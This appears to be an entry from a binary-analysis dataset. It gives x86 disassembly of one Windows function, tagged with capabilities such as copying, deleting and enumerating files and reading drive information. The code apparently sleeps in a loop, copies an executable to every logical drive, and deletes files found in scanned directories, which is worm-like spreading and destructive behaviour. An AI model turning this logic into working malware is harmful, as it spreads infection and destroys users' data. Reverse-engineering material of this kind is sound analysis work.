Function at 0x402090
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x654
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.c.exe]
push ebx
push esi
push edi
mov dword [ebp - 0x10], eax
mov ax, word [0x405314]
push 0x103
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x12f]
push 0
push eax
mov dword [ebp - 0xa], 0
mov byte [ebp - 0x130], 0
call sub.VCRUNTIME140.dll_memset
push 0x95
lea eax, [ebp - 0x1c7]
mov byte [ebp - 0x1c8], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x2cb]
mov byte [ebp - 0x2cc], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x3cf]
mov byte [ebp - 0x3d0], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esp, 0x30
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
nop word [eax + eax]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x510]
push eax
push 0x405318
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40219a
nop dword [eax]
nop dword [eax + eax]
push dword [0x4082c8]
lea eax, [ebp - 0x4e4]
push eax
call fcn.00401af0
add esp, 8
lea eax, [ebp - 0x510]
push eax
push esi
call ebx
test eax, eax
jne 0x402170
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 0
push 0
call esi
dec eax
cmp eax, 0x3ff
ja 0x402210
push 0x4083f0
push 0x400
call esi
cmp byte [0x4083f0], 0
mov esi, 0x4083f0
je 0x402210
push esi
lea eax, [ebp - 0x2c]
push 0x19
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x2c]
push 0x19
push eax
call edi
add esp, 0x18
lea eax, [ebp - 0x2c]
push 0
push eax
push 0x4082d0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402200
sub ecx, edx
inc esi
add esi, ecx
cmp byte [esi], al
jne 0x4021c8
lea eax, [ebp - 0x510]
push eax
push 0x405308
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
mov dword [ebp - 0x654], esi
cmp esi, 0xffffffff
je 0x402140
test byte [ebp - 0x510], 0x10
je 0x4023ac
mov ecx, 0x405320
lea eax, [ebp - 0x4e4]
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402270
test dl, dl
je 0x40226c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402270
add eax, 2
add ecx, 2
test dl, dl
jne 0x402250
xor eax, eax
jmp 0x402275
sbb eax, eax
or eax, 1
test eax, eax
je 0x4023ac
mov eax, 0x405324
lea ecx, [ebp - 0x4e4]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4022a8
test dl, dl
je 0x4022a4
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4022a8
add ecx, 2
add eax, 2
test dl, dl
jne 0x402288
xor eax, eax
jmp 0x4022ad
sbb eax, eax
or eax, 1
test eax, eax
je 0x4023ac
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0x130]
push 0x104
push eax
call esi
lea eax, [ebp - 0x4e4]
push eax
lea eax, [ebp - 0x130]
push 0x104
push eax
call edi
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x2cc]
push 0x104
push eax
call esi
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x3d0]
push 0x104
push eax
call esi
push 0x405328
lea eax, [ebp - 0x2cc]
push 0x104
push eax
call edi
add esp, 0x3c
lea eax, [ebp - 0x650]
push eax
lea eax, [ebp - 0x2cc]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4023a6
lea eax, [ebp - 0x3d0]
push eax
lea eax, [ebp - 0x130]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
push 0x40532c
lea eax, [ebp - 0x130]
push 0x104
push eax
call edi
lea eax, [ebp - 0x624]
push eax
lea eax, [ebp - 0x130]
push 0x104
push eax
call edi
add esp, 0x24
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x650]
push eax
push esi
call ebx
test eax, eax
jne 0x402340
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [ebp - 0x654]
lea eax, [ebp - 0x510]
push eax
push esi
call ebx
test eax, eax
jne 0x402233
push dword [ebp - 0x654]
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x402140